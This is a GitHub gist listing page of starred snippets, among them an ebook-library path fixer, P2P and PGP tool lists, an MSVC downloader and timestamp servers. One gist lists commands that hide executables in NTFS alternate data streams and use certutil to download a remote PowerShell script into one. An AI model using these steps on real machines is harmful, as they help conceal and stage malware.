Skip to content

Instantly share code, notes, and snippets.

View sergeevabc's full-sized avatar

Aleksandr Sergeev sergeevabc

View GitHub Profile
@elementiss
elementiss / Icecream-Ebook-Reader-move-books.py
Last active December 2, 2024 09:30
Корректировка пути к книге в библиотеке Icecream Ebook Reader 6.44
import sqlite3
import base64
import os
import hashlib
# в программе Icecream Ebook Reader 6.44 не предусмотрена корректировка пути к книге в библиотеке
# после физического переноса книги в другую папку файловой системы
# данный скрипт на питоне выводит все книги из библиотеки, у которых нет физического файла
# по указанному пути, и предлагает ввести новый актуальный путь, и сохраняет его в базе.
# заодно считает старый и новый хеши для дальнейшего ручного переноса заметок и закладок книги
@SMUsamaShah
SMUsamaShah / list_of_p2p_file_sharing.md
Last active June 20, 2025 11:26
List of P2P file sharing tools

Browser Based

  1. Web Wormhole https://webwormhole.io/ https://github.com/saljam/webwormhole
  2. ToffeeShare https://toffeeshare.com/
  3. FilePizza https://file.pizza/
  4. ShareDrop sharedrop.io https://github.com/szimek/sharedrop (SOLD, not recommended, use one of the forks)
    1. A clone SnapDrop snapdrop.net https://github.com/RobinLinus/snapdrop (SOLD, not recommended, use one of the forks)
      1. A fork PairDrop https://pairdrop.net/ https://github.com/schlagmichdoch/pairdrop
  5. Instant.io https://instant.io/
  6. FileTC https://file.tc/
// ==UserScript==
// @name Remove tracking links on duckduckgo.com HTML version
// @namespace Violentmonkey Scripts
// @match https://html.duckduckgo.com/html/
// @grant none
// @version 1.0
// @author -
// @description 7/9/2023, 4:36:51 PM
// @run-at document-idle
// ==/UserScript==
@mmozeiko
mmozeiko / !README.md
Last active June 17, 2025 20:03
Download MSVC compiler/linker & Windows SDK without installing full Visual Studio

This downloads standalone MSVC compiler, linker & other tools, also headers/libraries from Windows SDK into portable folder, without installing Visual Studio. Has bare minimum components - no UWP/Store/WindowsRT stuff, just files & tools for native desktop app development.

Run py.exe portable-msvc.py and it will download output into msvc folder. By default it will download latest available MSVC & Windows SDK - currently v14.40.33807 and v10.0.26100.0.

You can list available versions with py.exe portable-msvc.py --show-versions and then pass versions you want with --msvc-version and --sdk-version arguments.

To use cl.exe/link.exe first run setup_TARGET.bat - after that PATH/INCLUDE/LIB env variables will be updated to use all the tools as usual. You can also use clang-cl.exe with these includes & libraries.

To use clang-cl.exe without running setup.bat, pass extra /winsysroot msvc argument (msvc is folder name where output is stored).

@DarthSim
DarthSim / 00.imgproxy_vs_alternatives.md
Last active May 27, 2025 03:12
imgproxy vs alternatives benchmark

imgproxy vs alternatives benchmark

Setup

  • c5.xlarge AWS instance: 4 CPUs, 8 GB RAM
  • Ubuntu 18.04
  • Go 1.12
  • Python 2.7
  • Vips 8.7.4
@adulau
adulau / alt-to-gnupg.md
Last active February 17, 2024 13:46
Alternative to GnuPG/OpenPGP - including encryption at rest, file and backup

List of GnuPG/OpenPGP replacement (not OpenPGP compatible)

List of GnuPG replacement (OpenPGP compatible)

@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active May 29, 2025 18:52
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@Manouchehri
Manouchehri / rfc3161.txt
Last active June 16, 2025 13:20
List of free rfc3161 servers.
https://rfc3161.ai.moda
https://rfc3161.ai.moda/adobe
https://rfc3161.ai.moda/microsoft
https://rfc3161.ai.moda/apple
https://rfc3161.ai.moda/any
http://rfc3161.ai.moda
http://timestamp.digicert.com
http://timestamp.globalsign.com/tsa/r6advanced1
http://rfc3161timestamp.globalsign.com/advanced
http://timestamp.sectigo.com
@blakecrosby
blakecrosby / gist:1731bcddec0897e1c23d
Created December 24, 2014 16:18
Best Traceroute Ever!
[bcrosby@infiniteloop ~]$ traceroute -m255 xmas.futile.net
traceroute to xmas.futile.net (77.75.106.106), 255 hops max, 60 byte packets
1 router2-nac.linode.com (207.99.1.14) 0.460 ms 0.569 ms 0.693 ms
2 207.99.53.45 (207.99.53.45) 0.243 ms 0.254 ms 0.286 ms
3 0.e1-1.tbr2.tl9.nac.net (209.123.10.78) 1.278 ms 1.260 ms 1.351 ms
4 0.e2-2.pr2.tl9.nac.net (209.123.11.146) 1.252 ms 1.331 ms 1.384 ms
5 xe-0-0-0-0.edge00.thn.uk.hso-group.net (195.66.224.226) 79.858 ms 79.847 ms 79.827 ms
6 xe-8-3.core00.thn.uk.hso-group.net (93.89.91.15) 83.115 ms 80.668 ms 80.683 ms
7 xe-4-4.core00.gs1.uk.hso-group.net (77.75.108.160) 88.337 ms 88.427 ms 86.697 ms
8 ae0-1203.edge00.sov.uk.hso-group.net (46.17.60.117) 82.199 ms 82.166 ms 82.122 ms
@grugq
grugq / gist:03167bed45e774551155
Last active June 17, 2025 15:52
operational pgp - draft

Operational PGP

This is a guide on how to email securely.

There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.